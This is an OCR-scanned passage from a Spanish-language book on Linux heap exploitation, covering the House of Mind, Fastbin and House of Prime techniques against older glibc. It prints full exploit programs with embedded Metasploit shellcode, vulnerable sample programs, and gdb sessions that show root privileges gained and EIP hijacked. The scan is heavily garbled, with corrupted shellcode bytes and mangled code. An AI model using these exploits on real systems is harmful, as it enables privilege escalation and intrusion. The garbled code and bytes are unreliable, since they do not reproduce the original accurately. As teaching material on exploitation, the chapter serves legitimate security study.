# include  <stdio.h> 

/*  linux_ia32_exec  -  CMB=/usr/bin/id  5ize=72  Encoder-PexFnstenvSub 
http: //metasploit , com  */ 
unsigned,  char  scodet]  = 

,T\x31\xc9\xS3\xe9\xf  4\xd.9\xee\xd9\x7  4\x24\x£4\x5b\x8l\x73\xl3\x5et, 
,T\xc9\x6a\x42\x83\xeb\xfc\xe2\xf  4  \x3  4  \xc2  \x32  \xdb\x0c\xa  f\x02\x6fTI 
,T\x3d\x4  0\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x33\xlO" 
,t\xb6\xc5\x6a\x42\x5e\xe6\xlf \x31\x2c\xe6\x03\x2b\x3G\xe6\xQ3\x26M 
"\x5e\x9e\x3  9\xcb\xbf  \xQ4\xea\x4  2iT; 
int  main  (void)  { 
int  i,  j; 

for  (  i  -  0;  i  <  44  /  4;  i++  ) 

fwr ite  ( ,T \x02 \xC  1  \x00 \x0Q ,T f  4,  lf  stdout)  ;  f*  av->max_f as t- 12  */ 
for  (  i  -  0;  i  <  984  /  4;  i+t  ) 
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f write  ( Tl  \x48 \x96\xO  4  \xO  8  "  ,  4, 
for  {  i  -  0;  i  <  721;  i++  )  { 

£  write  ( "  \x0  9\xG4 \xQ  G  \xOQ ,r  ,  4, 
for  {  j  =0;  j  <  102  8 ;  j++  ) 
putchar (0x4] ) ; 

> 


1,  stdout)  ;  /*  _ _ DTOR_END _  -  12  */ 

1,  stdout)  ;  /•*  CQNSERVAR  SIZE  */ 
f*  RELLENO  (PAD)  *■/ 


fwrite ( ”\x09\x04\xQG\xQQ" ,  4,  1,  stdout); 
for  (  i  =  0;  i  <  (1024  /  4);  i++  ) 

fwrite  (,T\xl4\xaO\x04\x08M  f  4f  1,  stdout) ; 
fwrite  (" \xeb\x0c\x9Q \x90 ,f  f  4,  1,  stdout);  /*  prev  size  ->  jump  0x0  c  */ 
fwrite (n\xOd\xO 4 \xG0\xQ0",  4,  1,  stdout);  /*  size  ->  NON_MAIN_ARENA  */ 
fwriLe  ( T1  \x9Q\x90\x  90 \x9Q\x90\x90 \x  3Q\x90  "  \ 

T'\x9Q\x90\x9Q\x9Q\x9Q\x9Q\x90\x90t, ,  16,  1,  stdout);  /*  NOPS  */ 
fwrite (scode,  si zeof (scode) ,  1,  stdout);  /*  SHELLCODE  */ 
return  0 ; 


Lo  ejecutamos  y  comprobamos  el  resultado: 

blackngel@bbc;-*$  ./exploit  >  file 
blackngelGbbc!  , /heap!  <  file 
ptr  found  at  Qx8G4a008 

good  heap  allignment  found  on  malice ()  724  (0x81OO2aO) 

uid-1001  (blackngel)  g.id-lOOl  (blackngel)  euid=0  (root )  groups=Q  (root)  f  1001  (blackngel) 
blackngelGbbc : -?$ 


Mofa 


^Existe  alguna  diferencia  entre  la  explotacion  de  la  antigua  dlmalloc  y  la  actual  ptmalloc?  La 
respuesta  es  afirmativa.  Para  implementar  una  correcta  gestion  de  memoria  thread-safety,  es  dedr, 
segura  para  proeesos  multi-hilo,  ptmalloc  introdujo  una  variable  mutex  como  elemento  principal  de 
cada  arena.  Tecnicamente,  el  mutex  es  bloqueado  a  la  entrada  de  cada  rutina  de  asignadon  o 
liberacion  de  memoria,  impidiendo  asi  que  van  os  hilos  puedan  reservar  o  devolver  un  mismo  trozo 
en  un  instante  dado. 

Piense  en  una  aplicacion  eon  dos  hilos  ejecutandose  al  unfsono,  de  pronto  uno  de  ellos  realiza  una 
peticion  de  un  bloque  de  memoria  y  La  ejecucion  se  inierrumpe  antes  de  que  las  estrueturas  internas 
de  datos  sean  actualizadas,  o  lo  que  es  I o  mismo,  un  trozo  ha  side  desenlazado  de  una  lista  de 
bloques  libres  pero  todavia  no  se  ban  modificado  los  punteros  de  seguimiento  de  Ids  trozos  anterior 
y  posterior.  Cuando  el  segundo  hilo  del  proceso  entra  en  aceion,  este  podria  obtener  el  mismo 
bloque  de  memoria  destinado  ai  primer  hilo.  Arnbos  hilos  estarian  trabajando  sobre  un  trozo 
identico,  lo  que  acabaria  por  provocar  algun  tipo  de  corrupcion.  Y  lo  que  es  mas  grave, 
poster! ormente  ambos  hilos  podrian  llamar  a  free  o  sobre  este  bloque  de  memoria,  provocando 
una  condicion  de  double  free  con  sus  consiguientes  implicaciones  para  la  seguridad  del  sistema. 

Habitualmente,  para  una  explotacion  exitosa  de  ptmalloc,  la  variable  mutex  perteneeiente  al  arena 
atacado  tendra  que  ser  igua!  a  0,  eon  lo  que  deberia  sobrescribirse  con  un  valor  entero  null 
(oxoooooooo),  indicando  que  el  heap  se  eneuentra  libre  y  evitando  cualquier  bloqueo  en  una 
posterior  llamada  a  maiioc  ( )  o  free  < ) ,  lo  que  ocurriria  en  caso  de  contener  un  valor  positivo 
distinto  de  0. 
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Listed  podria  pensar  que  la  primera  de  las  condiciones  para  aplicar  The  House  of  Mind,  esto  es,  un 
tiozo  de  memoria  reservado  en  una  direccion  superior  a  Qxosiooooo  pareee  improbable  desde  un  punto 
de  vista  practico.  ^Es  eso  cierto?  Si  volvemos  hacia  atras  en  el  tiempo  y  echamos  un  vistazo  al 
conocido  fallo  de  seguridad  encontrado  en  el  metodo  ismodif ied()  del  software  CVS,  podemos 
observar  la  funcion  correspond iente  al  comando  entry  de  dicho  servicio: 

static  void  serve^entry  (arg) 
char  *arg; 

struct  an  entry  *p;  char  +  cp; 

[-  -  .] 

cp  =  arg; 

[...] 

p  —  xitiailoc  (sizeof  (struct  an_entry)  )  ; 

cp  -  xmalloc  (strleft  (arg)  +  2);  strcpy  (cp,  arg);  p->next  -  entries; 
p“>entry  —  cp; 
entries  =  p; 

J _ _ _ _ _ _ 

Vemos  como  se  van  reservando  en  el  heap  diveTSOs  bloques  consecutivos  siguiendo  el  orden  que  se 
muestra  en  la  ilustracion. 


Imageti  09.02:  Bloques  asignados  adyacentes. 

Estos  trozos  no  seran  liberados  hasta  que  la  funcion  server _write_entriesn  sea  llamada  con  el 
comando  noop,  Fijese  que  ademas  de  controlar  el  numero  de  trozos  reservados  puede  eontrolar  su 
longitud*  Esto  se  encuentra  mejor  detallado  en  el  articulo  “The  art  of  Exploitation:  Come  back  on  a 
exploit",  del  numero  64  de  la  re  vista  Phrack*  En  el  ejemplo  que  hemos  esiudiado,  la  diferencia  entre 
la  direccion  del  primer  trozo  asignado  (oxso^aooa)  y  la  direccion  objetivo  (Qxeiooooo),  es  inferior  a 
1  megabyte  de  memoria,  lo  que  para  una  aplicacion  como  un  navegador  web  resulta  insignificante. 

The  House  of  Mind  ha  sido  una  tecnica  teoricamente  aplicable  hasta  la  version  2. 1 1  de  Glibc.  En  dieha 
version  se  introdujo  el  siguiente  parche: _ _ _ _ 

bck  =  unsorted_chunks (av) ; 
fwd  =  bck->fd; 

.if  (  _ builtin_expect  (fwd->bk  ]=  bck,  0)  ) 

1 

errstr  =  T,nialloc()  :  corrupted  unsorted  chunks"; 
goto  errout; 

)  

Analogamente  a  lo  sucedido  eon  la  macro  unlink  o ,  se  comprueba  la  integridad  de  la  lista  doblemente 
enlazada  con  el  objetivo  de  descubrir  punteros  que  hay  an  podido  ser  corrompidos  por  un  atacante. 
Puede  descubrir  el  estado  del  arte  en  esta  tecnica  y  el  resumen  de  muchos  de  los  conceptos  de  heap 
exploiting  descritos  hasta  el  momenta,  en  la  fantastica  conferencia  que  Albert  Lopez  presen  to  en  el 
congreso  de  hacking  y  seguridad  mformatica  RootedCON  (“Linux  Heap  Exploiting  Revisited”  en 
http://www.vimeo.com/70799S03).  Ademas,  encontrara  un  enlace  al  articulo  en  formato  PDF  incluido 
en  el  listado  de  referencias  del  presente  capitulo. 
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9.2.1.  Metodo  Fastbin 

En  la  presente  secdon  demostraremos  la  implementacibn  praetica  del  Metodo  Fastbin,  nna  conocida 
variante  de  la  t£cnica  The  House  of  Mind.  La  idea  de  un  posible  ataque  comienza  cuando  se 
desene  ad  ena  ei  siguiente  fragmento  de  codigo: 

if  (  (unsigned,  long)  (size)  <=  (unsigned,  long)  (av->max_f ast )  ) 

{ 

if  ( _ built in_expect  (chunk  at  offset  (p,  size}->5ize  <=  2  *  SIZE  SZr  0) 

I  I  _ builtin_expect  (chunksize  (chunk_at_of fset  (p,  size)) 

>=  av->system_mem,  0) ) 
f 

errstr  -  T,free():  invalid,  next  size  (fast)"; 
goto  errout; 

} 

set_f astchunks (av) ; 

fb  =  & (av->fastbins I fastbin_index (size) ] ) ; 

if  ( _ builtin_expect  (*fb  —  p,  0) ) 

{ 

errstr  =  "double  free  or  corruption  (fasttop}"; 
goto  errout; 

} 

printf ( "XnbDebug :  p  =  0x%x  -  fb  =  0x%x\n",  pr  fb) ; 

p->fd  -  *fb; 

*fb  =  p; 

} 


Como  este  codigo  esta  situado  pasada  la  primera  comprobacion  de  la  funcion  int  freeo,  la 
principal  ventaja  es  que  no  debemos  preocupamos  por  los  Ionites  establecidos  en  el  metodo  anterior. 

El  nucleo  de  esta  tecnica  radica  en  situar  en  fb  la  direccion  de  una  entrada  en  .dtors  o  GOT.  Si 
alteramos  ei  tamano  del  trozo  sobrescrito  y  liber  ado  con  un  valor  8,  fastbinindex  o  retornara  lo 
siguiente: 

Idefine  fastbin^index (sz)  ((((unsigned  int) (sz) }  »  3)  -  2) 

(S  »  3}  -  2  =  -1 
& (av“>fastbins [-1 J ) 

Como  en  una  estructura  arena  (malice state)  el  elemento  anterior  a  la  matriz  fastbinsH  es 
precisamente  av->maxfast3  la  direccion  donde  se  encuentre  este  valor  sera  pucsto  en  fb. 

A1  ejecutarse  la  sentencia  *fb  -  p,  lo  que  se  encuentre  en  esta  direccion  sera  sobrescrito  con  la 
direccion  del  trozo  liberado  p,  que  al  igual  que  en  la  section  previa,  debera  contener  una  instruction 
jmp  y  saltar  hatia  un  shellcode. 

arjptr  deberia  apuntar  por  lo  tanto  a  la  direccion  de  .dtors,  de  mode  que  ahi  se  constituya  la  arena 

falsa  y  av->max_fast  (av  +  4)  sea  igual  a _ dtor_end _ ,  que  sera  posteriormente  sobrescrito  con  la 

direccion  de  p. 

Las  condiciones  son  las  siguientes: 

-  El  tamano  del  trozo  debe  ser  menor  que  av->maxfast: 
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if  [(unsigned  long) [size)  <=  (unsigned  long) (av->max fast) ) 


Ya  que  hemos  dicho  que  el  tamano  sera  igua!  a  8  y  av->max  fast  sera  la  direction  de  un  destructor, 

descubrimos  que  on  este  caso  no  sirve _ dtor  end _ puesto  que  este  es  siempre  OxOOOQOQGQ  y  nunca 

sera  mayor  que  el  campo  size  del  trozo  a  liberar.  Parece  que  lo  mas  efectivo  entonces  es  hacer  uso  de 
la  Tabla  Global  de  Offsets. 

Ademas,  el  campo  size  del  trozo  desbordado  debe  tener  el  bit  nok_main_ arena  aetivado  y  por  lo  tanto 
su  valor  no  es  exactamente  8: 

10  0 Ob  |  100b  -  8  |  NON_MMN_ARENA  =  12  =  [0x0c] 

Si  activamos  PREVJNUSE:  1 101b  -  [OxOd] 

-  El  tamano  del  trozo  contiguo  (siguiente)  al  trozo  p  debe  ser  mayor  que  8: 

builtin expect  (chunk at of f set  (pf  size)->3ize  <=  2  *  SIZE SZf  Q) 

Ese  mismo  trozo,  a  su  vez,  debe  ser  menor  que  av->system  mem: 

built  in expect  (chunksize  (chunk at of  f  set  (pf  size))  >=  ev->system me:n,  0) 


Una  vez  establecido  ar  ptr  en  .dtors  o  GOT,  el  miembro  systemjmem  de  la  estructura  maiioc  state 
se  encuentra  1 848  bytes  mas  alia.  En  programas  pequenos  la  tabla  GOT  es  relativamente  reducida,  por 
este  motive  es  normal  encontrar  en  la  posieion  de  av~>system_mem  una  gran  cantidad  de  bytes  0x00. 
Veamoslo: 

blackngel@bbc: ~$  obj dump  -3  -j  .dtors  . /heapl 

Contents  of  section  . dtors : 

8049650  ffffffff  00000000 


blackngelUbbc : gdb  -q  ./heapl 
( gdb)  break  main 
Breakpoint  1  at  0x8046442 
(gdb)  run  <  file 

Breakpoint  1,  0x08048442  in  main  () 

(gdb)  x/8x  0x0  8  04  9  65  0 

0x8049650  < DTOR_LIST  _> :  Oxffffffff  0x00000000  0x00000000  0x00000001 

0x8049660  <_DYNAMI C + 4 > :  0x00000010  0x0000000c  0x0804830c  OxOOOOOOOd 

(gdb)  x/8x  0x09049650  +  1848 

0x8  04  9d88 :  0x00000000  0x00000000  0x00000000  0x00000000 
0x804  9d98 :  0x00000000  0x00000000  0x00000000  0x00000000 


Precisamos  de  una  solucion  practica  a  este  dilema.  Aprendimos  del  ataque  anterior  que  av->mutex, 
que  es  el  primer  miembro  de  la  estructura  arena ,  debia  ser  igual  a  0.  Dado  que  controlamos  por 
complete)  la  arena  av,  podemos  permitimos  hacer  un  nuevo  analisis  de  fastbin  indexo  para  un 
tamano  de  16  bytes: 

[16  »  3)  “2=0 

De  modo  que  obtenemos:  fb  =  &  (av->fas.tbins  [0] ) ,  y  si  logramos  esto  podemos  hacer  uso  del  stack 
para  sobreseribir  E1P.  ^Como?  Si  nuestro  codigo  vulnerable  esta  dentro  de  una  funcidn  fvuin  ( ) ,  EBP 
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y  EJP  serin  guardados  en  el  stack.  (,Q ue  hay  detris  de  EBP?  Dehido  al  relleno  introducido  por  los 
com  pi  lad  ores,  si  no  existe  basura  producida  por  otros  marcos  de  pi  (a  v  ningiin  valor  canary  ha  sido 
establecido.  normalmente  encontraremos  un  valor  GxOOQQOOOO,  y  ya  que  utilizamos  av-> fas thins  [  0] 
y  no  av~>maxf  ast,  obtenemos  lo  siguiente: 


oxmxmx 

* —  av  +  LS4S  -  3v->syst 

«  t 

RET 

*  ■■  a-vo  fastbinsjoj 

m 

av-  juaxfast 

Qxwwtxm 

m —  av-x fiutex 

Imogen  09.03:  Metodo  fastbin. 


Habiendo  mudado  nuestro  ataque  hacia  el  stack,  en  av  +  18  4&  es  normal  encontrar  direcciones  o 
valores  aleatorios  para  uv->system_mem  y  asi  podemos  superar  las  comprobaciones  para  alcanzar  el 
final  del  codigo  fasibin. 

El  campo  size  de  p  debe  ser  16  mas  los  bits  non_main_arena  y  prev  inuse  activados,  ententes: 

10000b  |  N0N_MAIN_ARENA  f  PRBV_ INUSE  =  lOlOlb  *  0xl5h 

Podemos  manipular  el  campo  size  del  siguiente  trozo  para  que  sea  mayor  que  8  y  tnenor  que  av- 
>system_merri,  size  se  calcula  a  partir  del  offset  de  p,  por  tanto,  este  campo  estara  virtualmente  en  (p 
+  0x15),  que  es  un  desplazamiento  de  21  bytes.  Escribiremos  ahf  un  valor  0x09,  sin  embargo,  este 
valor  estara  en  medio  de  nuestro  relleno  de  NOPs  y  debemos  hacer  un  pequeno  cainbio  en  el  jmp 
original  para  sal  tar  mas  lejos,  16  bytes  debe  nan  ser  sufic  ientes. 

Para  la  prueba  de  concepto  hemos  modificado  el  codigo  Tuente  del  programa  aircrack-2.41  y  agregado 
las  siguientes  lineas  en  la  fund  on  main  ( ) l 

int  fvuln  ( } 

{ 

//El  mismo  codigo  vulnerable  que  en  el  metodo  anterior. 

1 

int  main {  int  argc,  char  *argv[]  ) 

{ 

int  i,  n,  ret; 
char  buf [128] ; 

struct  AP^info  *ap_cur; 
fvuln  ( )  ; 


El  siguiente  codigo  explota  el  programa; 

tinclude  <stdio.h> 

/*  linux_ia32_exec  -  CMD=/usr/bin/id  Size=72  Encoder=PexFnstenv5ub 
http://metasploit.com  */ 
unsigned  char  sc ode [ ]  = 

"  \x31\xc9\xS3\xe9\xf  4\xd9\xee\xd9\x7  4\x24\xf  4\x5fo\x81\x73\xl3\x5eT’ 
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T'  \  xc9\x6a\x42\x83\xeb\x£c\xe2 \xf 4 \x34 \xe2\x32 \xdb\xQc\xaf \x02\x6f " 

TP  \x3d\x40\x8d\x2a\x7 I\xba\x02\x42 \x3  6\xe  6\xG  8\x2b\x30 \x4  0 \x3  9\xl 0 T' 

M \xb6\xc5\x6a\x42\x5e\xe6\xlf\x31\x2c\xe6\x08\x2b\x30\xe6\xQ3\x26T, 

” \x5e\x9e\x39\xcb\xb£\xG4\xea\x42" ; 
int  main  (void)  { 
int  i,  j; 

for  {i  -  0;  1  <  1028;  i++)  /*  KELLENG  */ 

put char ( 0x4 1 ) ; 
for  (i  —  0;  i  <  518;  i+t)  { 

f write  (" \x0 9\x04 \x00\x0 0TI  ,  4,  1,  stdGUt) ; 

for  [j  =  0;  j  <  1028;  j+  +  ) 
putchar (0x4 1) ; 

} 

fwrite  (T,\x09\x04\x00\x00" ,  4,  1,  stdout); 
for  [i  =  0;  i  <  (1024  /  4);  i++) 

f  write  (T,\x34\xf  4\xf  f  \xbf "  ,  4,  1,  stdout);  /*  EBP  -  4  */ 

fwrite  ( ,f \xeb\xl  6\x90 \x90 ,T ,  4,  1,  stdout);  /*  JMP  0x16  */ 

f  write  ( ,f  \  xl5\xG0\x0  0\xGQ Ir ,  4,  lr  stdout);  /*  16  +  N_M_A  +  P_INU  */ 

fwrite  (T,\x90\x9G\x9Q\x9GM  \ 

?l  \x90\x90\x90\x90"  \ 

M\x9O\x9Q\x90\x9O"  \ 

* \x 0 9 \x0 0 \ xO 0 \ x 0 0 T'  \  /*  nextchunk“>size  */ 

"\x90\x90\x90\x90",  20,  1,  stdout); 


f write ( scode,  sizeof (scode) ,  1,  stdout);  /*  LA  PIEZA  MAGICA  */ 

return (0) ; 


Veamoslo  en  accion: 

blackngeldbbc ; gcc  xploitl,c  -o  xploit 
blackngelibbc : ./xploit  >  file 
blackngel@bbc: ~$  gdb  -q  ,/vuln 


(gdb)  disass  fvuln 

Dump  of  assembler  code  for 


0x08049298  <fvuln+134> 
0x0 8  0492  90  <fvuln+lB9> 
0x0 8 0492a 4  <fvuln+l96> 
0x0 8 04 92a9  <fvuln+201> 
0x0 804 92ac  <fvuln+2G4> 
0x0804 92bl  <fvuln+209> 
0x0804 92b8  <fvuln+216> 


function 

fvuln; 

call 

0x80 4 8d4c  <free@plt> 

movl 

$0x8056063, (%esp> 

call 

0x8043e8c  <puts@plt> 

rnov 

%esi, (%esp) 

call 

0x8048d4c  <free0plt> 

movl 

$0x8056075, (%esp) 

call 

0x8048e8c  <puts@plt> 

(gdb)  break  *fvuln+204 
Breakpoint  1  at  0x80492 ac: 
(gdb)  break  *fvuln+209 
Breakpoint  2  at  0x30492bl: 
(gdb)  run  <  file 
ptr  found  at  0x807d008 
good  heap  allignment  found 
Breakpoint  1,  Ox08Q492ac  in 


/*  Antes  del  2do  f ree (  ) 
file  linux/vuln .c,  line  2302. 

/*  Despu4s  del  2do  f ree (  ) 
file  linux/vuln.o,  line  2303, 


on  mallocO  521  (0x8100048) 
fvuln  ()  at  linux/vuln , c: 2302 


2302  free (ptr2 ) ; 

/*  STACK  */ 

(gdb)  x/4x  Oxbf f f f 4 34  //  av->max_fast  //  av->f astbins [ 0 ] 

Oxbf  f f f 4  34 :  0x00000000  Qxbffff518  0x0804ce52  0x0B0483ec 


*'/ 

*/ 
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(gdb)  x/x  0xbffff434  +  1848  /*■  av->system  mem  */ 

Gxbf f £fb6c :  Ox3d766d77 

(gdb)  x/4x  0x08100048-8+20  /*  nextchunk->size  */ 

0x8100054:  0x00000009  0x90909090  Gxe983c93l  Qxd9eed9f4 

(gdb)  c 

Continuing. 

Breakpoint  2,  fvuln  {)  at.  linux/vuln . c ; 2 303 
(gdb)  x/4x  0xbffff434  //  EIP  -  &p 

Gxbf f f f 4  34  :  0x00000000  0xbffff518  0x08100040  Qx0S0483ec 

(gdb)  c 
Continuing „ 

[New  process  8312] 

uid-1000 (blackngel)  gid=l 000 (blacfcngel )  groups=4 (a dm) 

Program  exited  normally. 


La  ventaja  de  este  metodo  es  que  no  tocamos  en  ningun  momenta  el  registro  EBP,  lo  que  podria 
provocar  alguna  elase  de  eorrupcion  de  memoria  al  referenciar  variables  locales. 


9.3.  The  House  of  Prime 

The  House  of  Prime  es,  sin  duda  alguna,  una  de  las  teenicas  mas  elaboradas  y  fruto  de  una  genialidad. 
No  obstante  el  destino  la  ha  relegado  a  la  menos  util  de  todas  el  las.  Para  llevar  a  eabo  este  ataque  se 
necesitan  dos  llamadas  a  free  o  sobre  dos  bloques  de  memoria  que  esten  bajo  el  control  del  exploiter, 
y  una  llamada  extra  a  maiioc  o . 

El  objetivo  no  es  sobrescribir  direccidn  de  memoria  alguna  (aunque  si  sera  necesario  para  la 
eulminacion  de  la  tecnica),  sino  hacer  que  una  futura  llamada  a  malloc  ()  retome  una  direccidn  de 
memoria  arbitraria.  Es  decir,  que  un  atacame  puede  hacer  que  el  trozo  sea  reservado  en  a  I  gun  lugar  de 
nuestra  eleccion,  por  ejemplo  el  stack. 

Un  ultimo  requisito  es  la  capacidad  de  controlar  lo  que  es  escrito  en  dicho  bloque  reservado,  de  modo 
que  si  conseguimos  situarlo  cerca  de  una  diTeccidn  de  retorno  guardada,  el  registro  EIP  podra  ser 
sobrescrito  con  un  valor  arbitrario.  He  aqui  un  posible  programs  vulnerable: 

# include  <stdio . h> 

^include  <stxing.h> 
linclude  <stdlib.h> 

void  fvuln (char  *strl,  char  *str2,  int  age) 

{ 

int  edad; 

char  buffer [64]; 

char  *ptr  -  malloc (1 024 ) ; 

char  *ptrl  =  malloc  (1024) ; 

char  *pt.r2  =  malloc  [  1024 )  ; 

char  *ptr3; 

edad  =  age; 

strnepy (buffer,  strl,  si zeof (buffer) -1 )  ; 
printf ("\nptr  en  [  %p  ] ",  ptr) ; 
printf  ( ,T\nptrlovf  en  [  %p  ]",  ptrl)  ; 
printf  (,T\nptr2ovf  en  [  %p  ]\n",  ptr2)  ; 
printf  (  "Escriba  una  descripcionr  11 )  ; 
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freadCptr,  1024  *  5,  1,  stdin) ; 
free {ptrl) ; 

printf  (  "  \nFIN  freea)\nTI); 
free (ptr2) ; 

printf  (  "\nFIN  free  (2)  \n,r )  ; 
ptr3  =  malloc (1024) ; 
printf ( n \nFIN  malloc ( ) \n" ) ; 
strncpy (ptr3,  str2,  1024-1); 

printf  (T,Te  llamas  %s  y  tienes  %d11,  buffer,  edad)  ; 

} 

int  main (int  argc,  char  *argv[]) 

{ 

iff  argc  <  4  )  { 

fprintf (stderr,  T,Uso:  ./hop  nombre  apellido  edad\n"); 
exit ( 0) ; 

} 

fvnln (argv[l ] ,  argv[2j,  atoi fargv[3] ) ) ; 
return  0; 


Para  empezar,  necesitamos  controlar  la  cabecera  de  un  primer  trozo  a  ser  liberado,  de  modo  que  cuando 
se  produzca  el  primer  free  ( ) ,  se  desencadene  el  mismo  codigo  que  en  el  Metodo  Fastbin.  Utilizando 
un  tamano  de  trozo  de  8  bytes  se  obtiene  lo  siguiente: 

f as tbin_ index ( 8)  ((( (unsigned  int) (8))  »  3)  -  2)  =  -1 

Y  como  ya  mentionamos  anteriormente: 

fb  =  & (av->fastbins [-1] )  =  &av->max_fast ; 

En  la  ultima  instruction  *fb  =  P,  av~>max_fast  sera  sobrescrito  con  la  direction  de  nuestro  trozo 
liberado.  Esto  tiene  una  consecuencia  muy  evidente,  y  es  que  a  partir  de  ese  momenta  podemos 
ejecutar  el  mismo  trozo  de  codigo  en  free  < )  siempre  que  el  tamano  del  trozo  a  liberar  sea  menor  que 
el  valor  de  la  direction  del  trozo  p  anteriormente  liberado. 

Situacion  normal: 
av->max_fa$t  =  0x00000048 
Situacion  de  ataque: 
av->max_£ ast  -  QxOSOYYYYY 

Para  sortear  las  comprobactones  de  la  primera  llamada  a  free  ( )  necesitamos  los  siguientes  tamanos: 

Trozo  liberado  *  8  (9h  si  activamos  el  bit  PREV^INUSE) . 

Siguiente  trozo  lOh  es  un  buen  valor  (  8  <  lOh  <  av-->5  ystem_meni  ) 

De  modo  que  el  exploit  comenzaria  con  algo  asi: 

int  mein  (void) 

{ 

int  i,  j; 

for  (  i  -  0;  i  <  1028;  it+  )  /*  RELLENO  */ 

put char (0x41 ) ; 


f write  ( ,T\xO9\xOO\x0G\xOO,f  r 

4, 

1 1 

stdout) ; 

/* 

free  (1) 

ptrl  size 

fwrite  { ,,\x4l\x41\x41\x41n  , 

4, 

It 

stdout) ; 

/■* 

RELLENO 

*/ 

f write  £ 11  \x!0 \x00 \x00\x0 0"  , 

4, 

Stdout) ; 

/'* 

free  (1 ) 

ptr2  size 

252 


Linux  Exploiting 


La  siguiente  rnision  es  sobrescribir  la  variable  arena_key  que  se  encuentra  normalmente  por  encima 
de  av  (smain  arena) .  Como  podemos  utilizar  tamanos  de  trozos  muy  grandes,  podemos  hacer  que 
fiav->f astbina  [xj  apunte  muy  lejos,  al  menos  lo  suficiente  como  para  alcanzar  el  valor  de  arena_key 
y  sobrescribirlo  con  la  direccion  del  trozo  p. 

Una  vez  modiflcado  el  lamano  del  segundo  bloque  Iambi  en  tendremos  que  controlar  el  campo  size 
del  siguiente  trozo,  cuya  direccion  depende  a  su  vez  del  desplazamiento  calculado  a  partir  del  tamafio 
del  anterior.  Entonces  el  exploit  podrfa  continual  asi: 

for  {  i  -  0;  i  <  1Q20;  i++  ) 
put char (0x41)  ; 

f  write  (,J\'xl9VxO9\x00\x00,\  4,  1,  stdout)  ;  /*  free{2)  ptr2  size  */ 

...  /+  Mas  adelante  */ 

for  [  i  -  0;  i  <  (2000  /  4) ;  i++  ) 

f write  (  H\xlO\xOQ\xOO\xOOTI ,  4,  1,  stdout)  ; 


A I  finalizar  el  segundo  free  ( )  obtendremos:  arena_key  =  p2.  Este  valor  sera  utilizado  por  la  llamada 
a  maiioc  o  estableciendolo  como  la  estructura  arena  a  utilizar. 

arena_get (ar_ptr,  bytes); 

if ( iar_ptr ) 
return  0; 

victim  = int malloc (ar ptr ,  bytes); 


Veamos  nuevamente,  para  hacerlo  mas  intuitivo,  el  cod i go  magico  de  int  maiioc  { ) : 

if  ((unsigned  long) (nb)  <=  (unsigned  long) (av->max_fast)  )  f 
long  int  idx  =  f astbin^index ( nb ) ; 
fb  =  & (av->f astbins [ idx] ) ; 
if  (  (victim  -  *fb)  !=  0)  { 

if  ( f astbin_index  (chunksize  (victim))  !=  idx) 

malloc_printerr  (check_action,  "maiioc () :  memory" 

°  corruption  (fast)",  chunk2mem  (victim)); 

*fb  =  victim->fd; 

check_remal loced_chunk (av,  victim,  nb) ; 
return  chunk2mem (victim) ; 

) 


av  es  ahora  nuestra  arena  falsa  que  comienza  al  principio  del  segundo  trozo  liberado  p2.  Por  lo  tanto, 
av->max_f  ast  sera  igual  al  campo  size  de  dicho  trozo.  El  primer  chequeo  nos  obliga  a  que  el  tamaiio 
solicitado  por  la  llamada  malice  o  sea  menor  que  ese  valor  (en  otro  caso  podria  probar  la  tecnica 
unsorted  ebunks  ()  en  la  siguiente  seceion). 

Luego  comprobamos  que  fb  es  establecido  a  la  direccion  de  un  fastbin  en  av,  y  en  la  siguiente 
mstruccion  su  contenido  sera  la  direccion  definitiva  de  victim.  Recuerde  que  nuestro  objetivo  es  que 
maiioc  ( )  reserve  la  eantidad  de  bytes  deseados  en  un  lugar  de  nuestra  eleccion. 

En  nuestro  ultimo  fragment©  de  exploit  intro dujiin os  un  comentario;  /*  Mas  adelante  */,  Este 
deberia  ser  sustituido  con  una  repeticion  de  copias  de  la  direccion  que  deseamos  en  el  stack,  de  modo 
que  cualquier fastbin  devuelto  coloque  en  fb  nuestra  direccion. 

La  siguiente  condition  es  la  mas  importante: 
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if  (fastbin index  {chunksize  (victim))  !=  idx) 


Eslo  quiere  decir  que  el  campo  size  tie  nuestro  trozo  falseado,  ciebe  ser  Igual  al  tamano  del  bloque 
solicitude  por  mailocO .  Este  es  el  ultimo  requisite  en  The  House  of  Prime:  debemos  controlar  un 
valor  en  la  memoria  y  poder  situar  la  direccion  de  victim  justo  4  bytes  antes  para  que  ese  valor  pase 
a  ser  su  nuevo  tamano. 

En  nuestro  programa  vulnerable  se  solicitan  como  parametros  nombre,  apeiiido  y  edad.  Este  ultimo 
valor  es  un  entero  que,  por  cierto,  sera  almacenado  en  la  pila. 

(gdb)  run  black  bgel  1032  <  file 
ptr  en  [  Gx80b2a20  J 
ptrlovf  en  [  Qx80b2e28  ] 
ptr2ovf  en  [  0x80b3230  ] 

Escriba  una  description; 

END  free{l) 

END  free (2) 

Breakpoint  2,  Qx080482d9  in  fvuln  () 

(gdb)  x/4x  $ebp~32 

Oxbf f f f 838  :  0x00000000  0x00000000  OxbfOOOOOO_ 0x00000408 


A h i  tenemos  nuestro  valor,  debemos  apuntar  a  Oxbff  f  f  34 o: 

for  (  i  =  0;  i  <  (600  /  4);  i+  +  ) 

fwrite  (T'\x40\xf  8\xf  f\xbf  ”  ,  4,  1,  stdout)  ; 


Ahora  debenamos  tener:  ptr3  =  maiioc  (1024)  =  Oxbf ff  f 848,  recuerde  que  se  devuelve  un  puntero 
a  la  memoria  (zona  de  datos)  y  no  a  la  cabecera  del  trozo.  El  ataeanle  se  encuentra  ahora  realmente 
cerca  de  la  direccion  de  retorno  guardada  y  puede  sobrescribirla  con  una  direccion  arbitraria. 

(gdb)  run  Black  'perl  -e  Tprint  ,TV'x64  T  '  1032  <  file 

ptr  en  [  0x30b2a2Q  ] 
ptrlovf  en  [  0x30b2e28  ] 
ptr2ovf  en  [  0x80b3230  ] 

Escriba  una  descripcion: 

END  free  (1) 

END  free (2) 

Breakpoint  2t  0x080482d9  in  fvuln  () 

( gdb )  c 
Continuing . 

END  malloc () 

Breakpoint  3,  0x08048307  in  fvuln  () 

(gdb)  c 
Continuing  * 

Program  received  signal  SIGSEGV,  Segmentation  fault. 

0x41414141  in  ??  [} 

(gdb) 


Esta  tecnica  ha  sido  aplicable  hasta  la  version  2.3.6  de  GL1BC,  mas  adelanie  se  agrego  a  la  funcitSn 
free  ( )  la  comprobacion  de  integridad  que  mostramos  a  continuacion: 


/+  We  know  that  each  chunk  is  at  least  MINS1ZE  bytes  in  size.  */ 
